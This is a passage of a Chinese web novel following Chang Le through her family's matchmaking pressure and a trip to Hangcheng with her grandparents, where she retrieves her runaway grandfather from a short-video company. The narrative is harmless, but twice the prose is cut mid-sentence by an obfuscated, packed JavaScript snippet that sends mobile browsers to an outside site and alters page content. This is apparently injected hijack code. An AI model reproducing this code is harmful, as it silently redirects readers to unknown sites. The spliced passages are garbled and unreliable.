姥姥见姥爷第一个坐到主座,眉毛一挑,嘲讽道:“哟,今儿个怎么不去吃百家饭了?” 姥爷讪讪地笑了,恭维道:“他们的手艺哪能跟你比啊?勉强充饥罢了,你才是藏在民间的厨神啊。” 一桌人都会心地笑了。 常乐沿着碗边小啜一口,发觉不烫,于是双手捧起汤碗,仰头牛饮起来。 林文娟在桌子底下踢了她一脚。 常乐迅速将双脚收进椅子底下,若无其事地继续喝汤。 直到汤碗快见底了,只剩下肉和菜,她这才舒服地喟叹一声,拿起筷子,不紧不慢地吃起了丛菇。 林文娟尬笑两声,试图给她挽回形象:“我家这个闺女吧,就是爱吃,从小吃饭就不让我们操心……这样也挺好的,能吃能睡,心思单纯,哈哈……” 常乐置若罔闻,拿起一个饦饦馍,啃了一大口,吧唧吧唧地嚼了起来。 坐在她对面的三个年轻人端端正正地捧着碗,宛如上课被点名的学生,纷纷点头附和道:“对,能吃是福。”“看着就很健康。”“挺好的。”…… 常乐“啧”了一声,盯着手上的馍,皱起眉头。 “太干了,还是应该泡汤里吃。” 她转过头问姥姥:“锅里还有汤吗?” “有,自己去盛。” 不一会儿,常乐端着满满一碗汤回来了。 林文娟压低声音,咬牙切齿地说:“注意形象!” 常乐眨巴着眼睛,一脸无辜地看着她,“妈,你吃啊,看我干嘛?” 林文娟紧抿着唇,陷入了沉默。 在林文娟的眼神催促下,常建民被迫接起推销女儿的重任:“其实,我们家常乐还是有很多优点的,比如那个、那个……那个小钟啊,你来说一下。” 常乐无语地看着他。 就不能想好了再开口吗?这样大家都很尴尬的,好像在进行什么拍马屁技能大赛。 “比如,呃……她很有正义感。”被点名的钟煜不得不开口,“上次去旅游,有对母子差点被碰瓷,还是她主动站出来,提供了重要证据,才帮他们脱困。” 常乐满意地点点头:对,就照这个思路夸我。 易诚第二个发言:“对,她还很善良,我爸生病那段时间,她一直在帮忙照顾,还送了我一个骨灰盒。” 常乐:……最后这句就没必要了吧。 其他人都发过言了,方凛也躲不过去。他想了半天,犹豫着说:“她还很,呃……珍惜生命,被蛇咬了一定要去医院,虽然我觉得没什么必要……当然,这一点还是很值得我学习的。” 常乐:实在想不出来,可以不说的。 常建民总结道:“对,她还是有很多优点的,所以——” 林文娟突然打断他:“对了,她小学作文还得过奖,那篇作文我还一直留着呢。”她指使常建民,“你上去拿一下,在书桌第三个抽屉里。” 常建民正要起身,被常乐一声气沉丹田的呵斥声给吓了回去:“干嘛呢干嘛呢?别人都在好好吃饭,你俩搁这儿直播带货来了?” 常建民悻悻地说:“我们这不是想帮你美言几句嘛。” 常乐反驳道:“我还需要美言嘛?我发朋友圈都不用美颜!” 林文娟解释道:“这也是为了让你们增进了解嘛。毕竟你的美比较内在,不展开讲讲,很难被人发现。” 常乐:“……哈?” 一阵尴尬的沉默后—— “从现在起,任何人都不准再说一个字!”常乐目露凶光,视线在每个人脸上停留两秒,威胁意味十足,“吃饭!” 众人噤若寒蝉,战战兢兢地埋头喝汤。 五分钟后,易诚举起手机给常乐看,屏幕上白底黑字:【我吃完了,可以走了吗?】 后面还画了个哭脸。 常乐大手一挥:“撤!” 易诚赶紧起身,冲几位长辈点了点头,又跟刚结拜的大哥二哥挥了挥手,嘴都来不及擦,换上鞋飞蹿而逃。 62. 62 三位男青年相继离场,桌上只剩下常乐一家,气氛瞬间从《非诚勿扰》变成了《金牌调解》。 常乐把筷子一搁,双手抱臂,审问道:“说说吧,你们到底想干什么?就这么着急把我嫁出去?” 林文娟讪笑道:“我又没说让你现在就结婚啊,但是你都二十五了,找个对象也很正常吧。” 常建民也说:“是啊,我是怕你在家待久了无聊嘛。” “所以就让我谈个恋爱玩玩?”常乐冷嗤道,“玩男人还不如玩手机。” 常建民一时哑然。 “而且,”常乐补充道,“人家对我根本就没那个意思,你们那么积极,倒显得我有多恨嫁一样。” 常建民急忙道:“我觉得方师傅还是有那个意思的,只是他比较含蓄。男人嘛,我比你懂。” 常乐质问:“就因为他送了我两瓶蜂蜜?” 常建民:“对啊,我追你妈的时候,也喜欢送各种吃的。而且,你想想,蜂蜜啊,代表什么?甜甜蜜蜜,黏黏糊糊,这不是暗示是什么?” 常乐:“……” 她清清嗓,一脸冷漠地说:“我今天问过他了,他说,因为看那对蜂农夫妇很辛苦,就想买点蜂蜜帮助他们。他又不喜欢吃甜食,所以就送给我了。这是纯纯的助农行为,你别自作多情了。” 常建民笑容一僵,强行找补道:“那……至少说明,他很善良。” 常乐呵笑一声。 安静片刻,林文娟缓缓开口道:“其实,我也不清楚钟老师对你是什么态度,不过我觉得你俩还挺般配的,一个沉稳内敛,事业有成,一个,呃……性格好……” 常乐脸一黑,“你看,你也觉得我配不上人家?” 林文娟赶紧举手发誓:“绝无此意!不过,你是我女儿嘛,我对你有亲妈滤镜,所以我的评价可能不太客观……但是,他不是夸你有正义感嘛,他妈妈也挺喜欢你的,我觉得你俩有戏。” 常乐叹了口气,摆摆手,“强扭的瓜不甜,别勉强了。” 又是一阵沉默—— “那易诚呢?”姥姥忽然开口,“你俩从小一起长大,知根知底的,在一起多好。” 她冲常乐挤眉弄眼,“你最近经常去找他,是不是对他有点意思?” 常乐面无表情地说:“那是因为小区里的同龄人都出去打工了,只剩下我们两个留守青年。我不找他找谁?” 哦,对了,还有个神出鬼没的王哥。此人连基本社交都成问题,可以忽略不计。 姥姥伸出两只大拇指弯了弯,笑嘻嘻地说:“那你们俩正好可以凑一对啊!” 常乐没好气地说:“你当是给动物配种呢?要是一男一女这么容易就凑一对,咱们国家的结婚率也不会年年下跌了。” 说到国家大事,某位吃饱喝足后瘫坐不动的民间政治家终于坐不住了,语气严肃道:“就是因为你们这些年轻人都漠视婚姻,不负责任,才导致我们国家出生率下降,人口减少,长此以往下去……” 他巴拉巴拉说了一大堆,常乐懒得听,起身收拾起碗筷,端进厨房。 “……要我说,年轻人就是受到了手机的荼毒,整天眼高手低,不思进取……” “有道理。”常乐从厨房里大步走出来,油乎乎的手伸向姥爷放在桌上的手机,“手机是万恶之源。姥爷,为了你的身心健康,从今天起,我要没收你的手机。” 姥爷吓得一个鲤鱼打挺坐起身,飞快地抢走手机,塞进上衣兜里。 常乐双手掐腰,瞪着他,气势汹汹道:“说啊,继续发表高见啊!我们年轻人怎么不负责任了?怎么不思进取了?我们不乱结婚、不乱生孩子就是对自己、对社会最大的负责!” 姥爷吓得不敢说话,低头直挠后脑勺。本就岌岌可危的几根头发,又要面临灭顶之灾。 -- 小小的发飙换来了短暂的安宁,之后的半个月,家里人都不敢再在常乐面前提“恋爱”、“对象”、“相亲”这类违禁词。 只有姥姥无意间提起,钟妈妈曾找到她,商量下次再去哪儿旅游。 “报团我就不去。”常乐一口回绝。 姥姥噎了一下,回怼道:“不去拉倒。我跟老头子去!” 常乐反应了几秒,才意识到这个“老头子”,不是她在外面认识的什么野老头,而是家里那尊以沙发为圆心、活动范围不超过两公里的大佛。 “姥爷也一起去?”常乐表示怀疑。 姥姥欣慰地说:“他说想趁现在还能走得动,多出去转转,见识一下祖国的大好河山。” 常乐狐疑地蹙起眉,“你们打算去哪儿?” “他说想去苏杭看看。跟他一起遛狗的那个刘老头给他推荐了一个团,499一个人,五天四夜,还挺划算的。” “苏、杭?” 这个地点太可疑了,常乐不得不联想到前阵子姥爷的绝食事件。 她大胆猜测:“这是姥爷的阴谋啊!找他演短剧的那家公司就在杭城,他肯定是想借旅游的机会偷渡过去,去那家公司面试!” 姥姥表情呆滞,愣愣地“啊”了一声。 “我说呢……他这次怎么这么主动,原来是藏了小心思啊。这个老不死的狗东西,敢耍我……” 当天夜里,卧室里传出姥爷的惨叫。常乐和两条狗趴在床上,心惊胆战地听着隔壁的动静。 第二天,姥姥像没事人一样,对常乐说:“我们还是打算报那个团,你要不要一起去?” 常乐飞快地眨眼,在想是姥姥疯了还是自己失忆了。 “姥,”她弱弱地说,“我不去的话,应该不会被打残吧?” “怎么会?”姥姥一抬手,常乐就吓得缩起脖子,身子往后一仰。 姥姥的手落在她的肩上,拍了拍。每拍一下,常乐的身子就矮了几分。 “你姥爷已经向我保证了,不会偷溜出去。他的身份证银行卡都在我这儿,到时候手机也会没收。他跑不了的,放心吧。” 常乐讪讪地笑道:“那就好,哈哈……没我啥事了吧?” 姥姥收回手,“你不去就不去吧,少一个人还能省五百块钱呢。” 就在常乐以为这件事到底为止时,晚上,林文娟来到她的房间,发表了一番晓之以理、动之以情的演说,目的只有一个:劝常乐跟姥姥姥爷一起去。 常乐头摇得像拨浪鼓,果断拒绝:“上次清明节,我在祖坟面前发过毒誓,再报团我就是狗。” 林文娟无语挑眉,“……你就跟祖宗说这些屁事?” 常乐态度坚决:“反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“怎么样?”姥姥怂恿道,“多个帮手,你也能省点心。” 常乐耸耸肩,“我是没什么意见,反正又不睡在一起。不过,你问过他的意见了吗?他现在有二十多个学生,每天忙得很。” -- 晚上九点多,易诚刚下课,就被姥姥一通电话召唤过来。 听完姥姥的请求,易诚面露难色,跟她商量道:“五天确实腾不出来。不过,我周一周二休息,可以把周三的课挪到周四晚上。要不我们周一上午出发,周四下午回来?” “好啊好啊。”姥姥高兴地拍手。 常乐一盆冷水泼下来:“照这样安排,除去坐车的时间,我们满打满算只能玩三天。两座城市,三天,太赶了吧?” 姥爷突然插话:“干脆就去一座城市。” 常乐和姥姥齐刷刷地看向他。 易诚不明所以,积极响应:“我觉得可以。比起特种兵式旅游,还是慢下来,把一个地方玩透比较好。那咱们选那座城市呢?” 姥爷举起手抢答:“杭城!歌里唱得多美啊,西湖美景三月天哎,春雨如酒柳如烟哎,啦啦啦啦啦啦……” “别啦啦!”常乐忍不住打断他,恶狠狠地威胁道:“姥爷,别以为我不知道你在想什么!杭城就杭城,不过,你要是敢偷跑,我让你走路过去,坐轮椅回来!” 63. 63 敲定好时间和行程后,第一步,买车票。 常乐选了一趟早上八点出发的动车,四个小时的车程,比起绿皮车和大巴车,舒适度不知道高了多少倍。 就这,姥姥还是有意见:“往返的车票钱比团费都贵!这也太奢侈了,还是跟团比较省。” 常乐:“大巴车要八个多小时啊!” 姥姥嘴硬道:“八个小时,睡一觉就到了。你们年轻人啊,就是吃不了苦,想当年我们……” 常乐无语地直翻白眼。 第二步,订酒店。这次常乐没跟姥姥商量,直接选了个地理位置绝佳的连锁酒店,订了两个标间。 姥姥知道后又是一顿牢骚:“一间房三百?你是不是飘了?光住宿费就要一千八!我们四个人报团也才两千!” 不管她怎么说,常乐就用一句话怼回去:“反正是我妈出钱。” 第三步,对常乐来说,是制定每日行程,提前预约门票,再找几家物美价廉的餐馆。 对姥姥来说,现阶段的主要任务,就是在小区各处人群聚集地大肆宣扬外孙女要带自己出去旅游的喜讯,还佯装抱怨:“哎哟我都不想去,老是出去玩也挺累的,还不如在家里跳跳舞遛遛狗呢。我家乐乐说,杭城的春天最美,非要带我们两个老东西去西湖划船,这年轻人就是会玩……” 常乐的手被她紧紧攥着,根本挣脱不动,只得尴尬地笑着,被迫接受各位大爷大妈的称赞。 “杭城?”翠姨眼睛一亮,拍拍常乐的肩膀,语气异常兴奋,“杭城好啊!新一线大城市,又干净又漂亮。北上广深我都去过,我觉得都比不上杭城——” “翠姨,翠姨!”常乐的肩膀被她拍得一边高一边低,不得不打断她,“说重点!” 翠姨这才止住话头,眉飞色舞地说:“我家俊臻不就在杭城嘛,他买了套大房子,你们可以住他那儿,让他带你们玩啊。” 常乐客气道:“他还要上班呢,哪有时间陪我们玩?就不麻烦他了。” “也是。”翠姨笑容不减,“不过,你们可以去看看他啊。” 常乐觉得奇怪,心想,你要是想他,可以随时视频啊,我们去看他干嘛? 不过,长辈嘛,就这样,没必要跟她较真。常乐敷衍道:“行,有机会我们就去。” 翠姨立马说:“那你帮我带点东西给他。” 常乐:“……” 糟糕,掉坑里了。 翠姨见她不吭声,笑眯眯地安慰道:“没多少东西,就是一点菜。我这不是担心他一个人吃不好嘛,家里的菜干净又健康,他在杭城可吃不着。” 常乐:“……” 你刚刚还把杭城夸得天花乱坠呢! 常乐面露难色,委婉地拒绝道:“你可以寄快递啊,顺丰第二天就能到呢,还能冷鲜保存,坏不了。” 翠姨摆摆手,“也不全是菜,还有几个土鸡蛋,要是寄快递,不全都碎了?你就辛苦一点,帮我带过去,我叫俊臻请你们吃饭。” 常乐:“…………” 第二天一早,翠姨两手提得满满当当,来姥姥姥爷家拜访。 只见她左手提着一油壶鸡蛋——常乐以前在火车上见过,一直好奇是怎么放进去的,后来才知道,先把油壶横着切开,再把鸡蛋放进去,最后用胶带将油壶切口粘牢——这一壶,目测至少装了上百个鸡蛋。 她右手提着几只鸡,已经拔毛洗净、用真空包装袋装好了,还有几大块卤牛肉,也是真空包装。 她笑眯眯地说:“东西有点多,你别嫌麻烦。俗话说,儿行千里母担忧,我家俊臻就喜欢吃家里的散养鸡和黄牛肉,还有这些土鸡蛋,在外面还买不着呢。” 常乐呆在原地,表情僵硬,一时竟不知该说什么。 正巧,常建民从厨房里端着一碗粥出来,见到翠姨手上的土鸡,顿时来了兴趣:“你这是哪儿买的?” 翠姨热情地说:“我家有个亲戚在农村养鸡,都是散养的,你要吗?我让他给你留几只。” “行啊。”常建民放下碗,走到这堆食材前面,俯身查看起来,“我大哥一家也在杭城,他女儿还是个带货主播呢,收入可高了。我给他们也买点,让乐乐带过去。” 常乐:“……” 翠姨说:“没问题,我明天早上给你送过来。对了,”她又看向常乐,“你们周一几点出发?” 常乐心中隐约有种不祥的预感,但还是老老实实回答:“八点。” “行,那我六点来找你。” “干、干嘛?” “我还想让你带点青菜过去,但是提前买的不新鲜。我那天早上去菜市场买了给你送过来。” 常乐:“…………” 周一,凌晨五点,天还没亮,常乐就扛着大包小包、驱赶着姥姥和姥爷急匆匆地出门了。 她在小区门口拦了辆出租车,把两个大行李箱,两桶土鸡蛋和几袋土鸡和卤牛肉放进后备箱,一屁股坐上车,火急火燎地对师傅说:“青江北站!赶紧的!” 半个小时后,常乐坐在空旷的候车厅里,终于松了一口气。 她闭上眼,安心地眯了一会儿,直到姥姥把她摇醒,往她嘴里塞了个剥了壳的、热乎乎的水煮蛋。 姥姥这次没有跟团游,总担心出门没饭吃,所以凌晨四点就起床,煮了满满一锅鸡蛋。 常乐迷迷糊糊地吃完,一睁眼,易诚就站在她面前,背着行李包,两手提着满满两大袋菜。 他头发蓬乱,一脸呆滞,像是没睡醒。 “翠姨一大清早到我家,说你们已经走了,她让我把这些菜带给周俊臻。” 常乐:“……” 糟了,昨天忘记提醒他了。 “我看看都买了些什么。”姥姥从他手上接过来,打开一看,什么莴苣、玉米、黄瓜、春笋,还有一大捆藕带。 她觉得好笑:“哎哟,这个吴翠也真是的,那么大个杭城,还怕她儿子买不到菜?” 常乐斜乜着她,话里有话:“也是,那么大个杭城,还怕吃不到水煮蛋?” 姥姥辩解道:“我这不是怕杭城物价太高,吃饭太贵嘛,出门在外,能省一点是一点。” 她又从袋子里掏出两个水煮蛋,递给易诚,“还没吃早饭吧?先垫巴垫巴。” -- 上车的过程也是困难重重。两个倒霉蛋得先把姥姥姥爷安顿好,再回来搬运行李,堆放在头顶的行李架上。至于那两桶鸡蛋和两大袋蔬菜,就放在座位下方,用两腿夹紧,以防侧翻。 旁边有个大叔看他们忙前忙后,忍不住问道:“小两口去城里打工啊?” “呃……”常乐不知该怎么回答。 恍惚中,仿佛回到了二十年前的绿皮车上,伴随着“哐当”声摇摇晃晃,空气中弥漫着泡面的味道。 常乐尬笑着,搪塞道:“帮亲戚带的。” “真是不容易。”大叔感叹一句,便不再多问。 -- 中午,常乐本想奢侈一把,带姥姥姥爷去餐车吃个饭,可是一打听,随便一份盒饭就要48,吓得她连吃几个鸡蛋,横扫饥饿,做回穷人。 好在动车很快就抵达杭城西站。两个挑夫又扛着大包小包下了车,带着两位老人艰难地穿过闸机,坐上地铁,中途换乘,一路辗转,终于在下午三点找到预订的酒店。 常乐已经精疲力竭、口干舌燥了。一进房间,她就瘫倒在床上,闭着眼,连话都懒得说一句。 姥姥在房间里巡视一圈,忿忿道:“就这还要三百一天啊?真是抢钱。” 常乐睁开眼,幽怨地盯着她。 这酒店可是在大名鼎鼎的西湖边,三百块,已经是她货比无数家之后、精挑细选出来的、性价比最高的酒店了! 姥姥坐在床上,又抱怨道:“你说这一路上多折腾啊,又打车又坐动车又坐地铁还得走一段路,还不如旅行团呢,直接在小区门口上车,酒店门口下车,多省事。” 常乐气得一个鲤鱼打挺站起身,霎时大脑缺氧,眼前一黑,差点没站稳。 “姥姥,这一路上都是我跟易诚在干活,累着你跟姥爷了吗?”她身子左摇右晃,看姥姥都有了重影,晕晕乎乎地说,“别两片嘴皮子一张,就知道挑三拣四!再听你抱怨一句,我把你一脚踢回湖北!” “知道了知道了,你辛苦了,行了吧?”姥姥拧开保温杯,往她嘴里灌水,“喝点水吧,你看你,嘴唇都起皮了。” 常乐咕噜咕噜喝完半杯,视线渐渐恢复了清明,她重新坐下,揉了揉突跳的太阳穴。 “再吃几个鸡蛋不?”姥姥问,“还剩八个。” “呕……”常乐有点想吐。她这辈子再也不想闻到这个味道了。 在酒店稍作休整后,常乐带着大家去附近觅食。她早就选好了一家餐馆,听说在杭城能排进必吃榜前十,每天大排长龙,人满为患。好在他们到得早,没等多久就被服务员领进去了。 坐在靠窗的餐桌边,姥姥一边翻看菜单,一边啧啧感叹:“哦哟,西湖醋鱼要108!什么鱼哟,这么金贵?” “西湖醋鱼?”姥爷后背立刻挺起来了,语气兴奋,“杭城名菜啊,来,点一个。” 常乐和易诚对视一眼,表情复杂。 虽然没尝过,但两人都听说过这道菜的赫赫威名。据说,这道菜还没失传,是因为古往今来有无数游客不信邪,非要一尝究竟。 “……行,点一个吧。”常乐犹豫片刻,勉强同意了。她自我安慰,没准儿这家店做的比较正宗呢。 几个人又点了龙井虾仁、东坡肉、油焖春笋和西湖莼菜羹。最后一结算,四百多,姥姥心疼得直叫唤。 “人均一百多,已经很划算了。”常乐安慰她,“我妈出钱,不花白不花。” 等菜肴一一上桌,常乐也忍不住心疼了,就这点份量,人均一百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959157|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,是有点贵了。 再尝一口西湖醋鱼…… 常乐更心疼了。 这啥呀?好像一瓶醋在嘴里爆炸了。 每个人在尝完西湖醋鱼后,都陷入了诡异的沉默,脸上的表情复杂又纠结。 姥爷努力给他心中的名菜挽尊:“这道菜,其实,怎么说呢……这家店不正宗吧?” 姥姥不信邪,又尝了一口,勉强给它找出一个优点:“这个味道,你别说……还挺下饭的。” 常乐把鱼挪到她面前,“好吃你就多吃点。” 姥姥脸色一下子绿了。 其它几道菜味道还不错,几个人吃得差不多了,连龙井虾仁里的茶叶渣子都没放过,那条死不瞑目的鱼还原封不动地躺在黏糊糊的酱汁里,只受了点皮外伤。 “这么贵的菜,总不能浪费吧。”姥姥伸出筷子,又迟疑了,最后把鱼推到姥爷面前,命令道:“你点的,你负责吃完!” 姥爷长长地叹了口气,喝完杯中的茶水,然后,带着一脸誓死如归的表情,开始给鱼分尸。 他小心翼翼地夹起一块,闭着眼往嘴里塞,吃得满脸褶子,仿佛历经沧桑。 常乐和易诚同情地看着他,又不敢开口劝,生怕他吃着吃着就崩溃了,要他们一起偿命。 半个小时后,几个人结账出门,姥爷冲到旁边的便利店,用仅剩不多的微信余额,给自己买了一大瓶水。 暮色四合,城市华灯初上,常乐带姥姥姥爷回到酒店,自己则跟易诚提上一桶鸡蛋、两袋蔬菜和一大包鸡肉牛肉,打车去未来科技城找周俊臻。 周俊臻早早地等候在小区门口。见到两人从车上下来,他脸上绽开笑容,挥了挥手。 “辛苦了辛苦了。”他大步迎上去,从常乐手中接过鸡蛋和蔬菜,略带歉意地说,“我妈真是的,让你们带那么多东西,实在是不好意思。去我家坐坐吧,家里没别人。” 常乐和易诚欣然同意。 两人跟在周俊臻身后,走在小区里。虽然光线昏暗,但能看得出来,这小区的园林设计得很精致,建筑的外立面也很高级,一看就是次新改善型小区,估计单价不菲。 联想到周俊臻的工作和年薪,倒也可以理解。 常乐忽然想到一件事—— “哎,俊臻哥,你今天怎么回得这么早?”常乐好奇地问,“我还以为码农都要加班到深夜呢。” 周俊臻笑了笑,说:“最近没有项目,所以还算轻松。有项目的时候恨不得睡在工位上,一睁眼就得干活儿,忙得没日没夜的。” 易诚忍不住唏嘘道:“真是能力越大,责任越大啊。” 常乐补充道:“年薪也越高。” 周俊臻哈哈大笑起来。 到了周俊臻家,两人在门口换鞋,在客厅里简单地参观了一圈。 房子中规中矩,一百来平,三室两厅,估计是开发商统一装修的,风格很简约。 周俊臻端来两杯热茶,放在茶几上,招呼他们坐下,不好意思地笑笑,说:“家里有点乱,好久没打扫了,你们别介意啊。” 常乐刚坐下,忽然想起翠姨的叮嘱,急忙起身说:“对了,鸡和牛肉要冷冻起来。” “你坐着,我来。” 周俊臻提起几个大袋子,走到冰箱面前,正往里面一件件放时,手机忽然响了。 他接起电话,“哎”了一声,语气稍显为难:“现在不太方便,家里有客人。晚点儿行吗?” 常乐和易诚对视一眼,不约而同地站起身。 等周俊臻挂断电话,易诚主动开口道:“俊臻哥,你先忙吧,我们先回去了。” “哎,别别别,没什么大事。”周俊臻伸手拦住他,“好不容易过来一趟,多坐一会儿嘛。” 常乐笑着说:“主要是姥姥姥爷在酒店,我们不太放心,怕他们溜出去玩,迷路了。” 周俊臻迟疑了一下,慢慢收回手,“哎,那行吧……你们打算玩几天?我周末有空,到时候带你们去转转。” “我们周四就回去了。”易诚拍拍他的胳膊,“把东西送到,我们就放心了。你上班也挺忙的,周末就好好休息吧。” 几个人换好鞋,下了楼。 刚走出电梯,大厅里进来三个人,走在前面的小伙子穿一身西装,脖子上挂着工作牌,一见到周俊臻,立马热情地迎上来,说:“周先生,真是不好意思,客人只有这个时间有空,我就把他们带来了……” 常乐冲周俊臻摆了摆手,示意他不必再送。 周俊臻只好停下脚步,跟面前的人寒暄起来。 走在小区园林里,常乐扯了扯易诚的衣袖,小声说:“哎,那个人好像是中介。” 易诚皱起眉头,“什么意思?他要卖房还是租房?” “谁知道呢?”常乐耸耸肩,想到接下来的行程,又兴奋起来,“不管了,现在还早,咱们去武林夜市逛逛吧!” 64. 64 两个人逛吃逛吃到十点多,才提着几袋小吃回了酒店。 常乐刷卡进房间,姥姥已经睡了,鼾声响亮而有节奏。 玄关处留着一盏昏黄的灯。她尽量不发出声音,蹑手蹑脚地走向行李箱,正在找自己的睡衣时,身后忽然响起一阵巨大的捶门声! 常乐吓了一跳,急忙跑过去开门,见易诚就站在门口,拳头还没来得及放下。 “干嘛?”常乐压低声音说,“姥姥睡了。” 她回头瞥一眼床上的姥姥,见她翻了个身,但鼾声没停。她想到姥姥睡前应该摘了助听器,不由得松了口气。 易诚一脸惊恐地说:“姥爷不见了!” “啊?” 常乐吓得大脑一片空白,说话都语无伦次了:“不见了?卫生间里没人吗?行李还在吗?” 她记得,在酒店前台登记后,姥姥就把姥爷的身份证给收走了。 易诚摇摇头,声音慌乱:“他的东西都在,就是人不见了。” 常乐呆了几秒,急忙掏出手机,拨打姥爷的电话。 过了会儿,从姥姥的床头柜上传来一串铃声。 常乐赶紧挂断电话。 看来,姥爷的手机也被没收了。那他能去哪儿呢? “要不要报警?”易诚举着手机问。 常乐思索片刻,“先等等,咱们去前台问问。” 两人急急忙忙赶到一楼前台,向值班的店员说明了情况。店员喊来保安,把他们带到了后面的监控室。 据常乐回忆,他们吃过晚饭,大概六点多回到酒店。保安将监控视频调到那个时间,倍速播放,终于在八点多的时候,发现一个小老头的身影出现在大厅里。 “就是他!”常乐指着屏幕大喊。 保安调回正常的播放速度,只见姥爷不紧不慢地走出电梯,穿过大堂,推开酒店的玻璃门。 保安又调出门口的监控视频,发现他招手拦了辆出租车。 常乐眯着眼,凑到屏幕面前,“能放大看看车牌号吗?” “角度不行。”保安放大画面,还是看不清,“再说了,出租车又不像网约车,每一单行程都有电子记录。你就算联系上那个司机,他也不一定记得。” 常乐眉头紧锁,沉默不语。 保安继续分析:“目前可以判定,老人是自愿出门的,不是被人拐骗。神志也是清醒的,不像是阿尔茨海默症。他是不是去找什么人了?” 还能去找谁?常乐忍着怒气,心想,他心心念念的小网红呗。 两人离开监控室,回到酒店大堂,在沙发上坐下,商量对策。 “先别浪费警力了。”常乐说,“他肯定是跟那个网红提前约好了,不然也不会不带手机就出门。” “你还记得那个网红的账号叫什么吗?” 常乐回忆片刻,掏出手机,在抖音里搜索“杨三金”。 “找到了。”她立刻点进去,“他现在还在直播呢。” 易诚赶紧凑过来,只见一个长相精致的男孩正在跟网友互动聊天。 常乐飞快地打字,一条接一条发送,很快就刷屏了: 【我姥爷是不是在你那里?】 【快放了我姥爷!】 【不然我就报警了!】 弹幕瞬间炸了。大部分网友都是一头雾水,少数看热闹不嫌事大的人在调侃: 【哟,葫芦娃来了?】 【你把人姥爷藏哪儿了?】 【哈哈哈金屋藏爷。】 【哥你还有这种癖好啊?】 【三金你拐卖老年人干嘛?】 杨三金不得不中断聊天,一脸严肃地回应道:“这位网友,咱们之间是不是有什么误会?我都不认识你姥爷。如果你家老人走丢了,我愿意帮你发布寻人启事,但是请不要影响我的工作。这样吧,我让助理给你发给私信,你有什么问题,直接找他沟通。” 说完就把常乐给拉黑了。 常乐很快收到一条私信,是一个陌生账号发来的:【我是杨三金的助理,请问你有你姥爷的照片吗?】 常乐赶紧在相册里找出一张姥爷的近照,发送过去。 过了一会儿,对面回复道:【他在公司,刚面试完。他说不记得酒店的名称了,你过来把他接走吧。】 紧接着发来一个定位,显示在十几公里外的一栋公寓楼。 常乐急忙回复:【我马上来。】 她起身跑到酒店门外,伸手拦车,易诚也跟了出来,提醒她:“你就不怕他是骗子?” 常乐一下子愣住。 这时,一辆出租车缓缓停在她面前。 常乐站着没动,易诚又说:“不如把这里的定位发给对方,让姥爷自己打车回来。” 常乐迟疑着说:“我担心他不愿意回来。而且,我也想去看看这家公司长什么样,正不正规。” 易诚沉吟片刻,上前拉开车门,“行吧,我跟你一起去。” 夜已经深了,出租车在空寂的街道上畅通无阻,很快就抵达那栋公寓。 常乐仰头望去,楼宇高耸入云,“丽文公寓”几个字闪闪发光,密密麻麻的窗户如蜂巢,几乎每扇窗都亮着灯,将黑夜照得璀璨如昼。 常乐喃喃自语:“这里的人都不睡觉吗?” 他们走进入户大堂,登上电梯,找到杨三金的公司所在的房间号,门口挂着一个简约的灯牌,写着“杭城明鑫文化传媒有限公司”。 隔着玻璃门,常乐看到里面是个loft结构,一层大概一百多平,摆放着四十几张工位,几乎每张工位前都有人在紧张地忙碌着。 常乐摁响门铃,很快,有个戴眼镜的小伙子走了出来,打开门问:“你是来接你姥爷的吧?” “嗯。”常乐走进去,四处张望,“他人呢?” “睡着了。”小伙子指着靠窗的沙发,姥爷正仰头呼呼大睡,松弛的姿态与这里的紧张气氛形成鲜明的对比。 常乐大步走过去,毫不客气地拍拍他的肩膀,“喂喂”两声,喊道:“姥爷!快醒醒!姥姥杀过来了!” 姥爷一下子从梦中惊醒,睡眼迷离,四处张望,还下意识地抱紧抱枕,作防御状,“哪儿呢?哪儿呢?” “赶紧跟我回去!”常乐揪住他的衣领,一把将他提起,拖拽着他往外走。 -- 坐在返程的出租车上,常乐板着脸,斜乜着姥爷,不时发出一声冷嗤。 姥爷不安地抱紧双臂,搓了搓鸡皮疙瘩。 “好哇,翅膀硬了,敢离家出走了!”常乐阴阳怪气道,“手机身份证都没带,也不怕人家把你卖了?哎,不对——”她忽然想起一件事,“你没带手机,是怎么打的车?” “用现金啊。”姥爷从运动鞋里抠出一沓纸币,在手上甩了甩,“我就说你们年轻人都被手机荼毒了,离开手机就活不了!还是我有远见——” 常乐一脸嫌弃地掩住鼻子,从他手中抽出一张粉色大钞,说:“正好我们都没带手机,也没带钱,回去的车费你也付了吧。” 姥爷:“……” 他表情一僵,赶紧将剩下的钱塞回鞋子里。 “千万别告诉你姥姥。”他恳求道。 常乐没好气地说:“哼,你自求多福吧。” 车厢内安静下来,常乐望着窗外的夜色,一阵困倦感袭来。 她闭上眼,自语道:“都快十二点了,他们公司还有那么多人在加班,卷都真是名不虚传啊。” 姥爷搭腔道:“我听公司老板说,他们的上班时间是下午三点到凌晨三点。” 常乐震惊地睁开眼。 什么级别的牛马才能适应这样的阴间作息? 姥爷这把老骨头肯定不行,上几天班就得进ICU,赚的那点钱还不够医药费的。 易诚也大为震撼,劝说姥爷:“您再好好考虑一下吧,这种工作可不是一般人能干的。” 姥爷摆摆手,“我们老板说了,这些都是幕后人员,负责什么孵化、剪辑、运营之类的,是固定工作时间。我们演员比较灵活,只负责拍摄,拍完了就可以下班。” “哟哟哟。”常乐斜瞟着他,“还‘我们老板’,‘我们演员’,真把自己当大明星了?” 姥爷面露尬色,试图说服她:“这是个难得的机会呀。我要是真成了大明星,对全家都有好处啊。” 出租车在酒店门口停下,常乐打开车门,说:“别做梦了,赶紧洗洗睡吧。” -- 